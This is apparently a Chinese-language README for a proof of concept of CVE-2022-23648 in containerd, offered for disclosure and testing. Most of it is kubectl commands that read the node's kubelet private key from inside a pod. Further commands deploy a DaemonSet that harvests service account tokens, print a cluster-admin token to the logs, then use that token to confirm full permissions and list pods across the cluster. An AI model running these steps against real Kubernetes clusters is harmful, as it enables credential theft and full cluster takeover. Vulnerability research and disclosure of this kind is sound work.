这是 @_fel1x 发现的 CVE-2022-23648 的概念验证。披露信息见此处,CVE 信息见此处,还有一篇博客提供了更多信息和缓解建议,见此处。Containerfile 中包含了所需信息,你可以更改 VOLUME 的目标路径来尝试不同的路径。
展示其效果的最简单方式是使用 KinD,它带有可利用的镜像。
除非节点碰巧在 /var/lib/kubelet/pki 中存有大量数据,否则这应该是一个安全的测试。
kind create cluster --image=kindest/node:v1.21.1kubectl create -f pod-manifest.yamlkubectl exec poctest -- ls /var/lib/kubelet/pki/如果你看到返回的文件中包含 kubelet.key,那就说明成功了 :)
注意:请勿在生产集群上尝试此操作。存在漏洞的 Containerd 可能会将大量数据复制到该攻击 Pod 中,从而耗尽磁盘空间。此外,这会将 cluster-admin 服务账户令牌打印到 Pod 日志中,而这些日志很可能会以明文形式发送到日志目的地。
这将运行一个 DaemonSet,尝试枚举节点上的所有 Kubernetes 服务账户令牌,如果发现是 cluster-admin 令牌,则将其打印到 Pod 日志中。
kubectl apply -f ds.yamlkubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -A如果输出为 yes,恭喜,你已经获得了一个短期有效的 cluster-admin 服务账户令牌,然后运行:
kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d 来查看它是哪个服务账户
kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A
kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list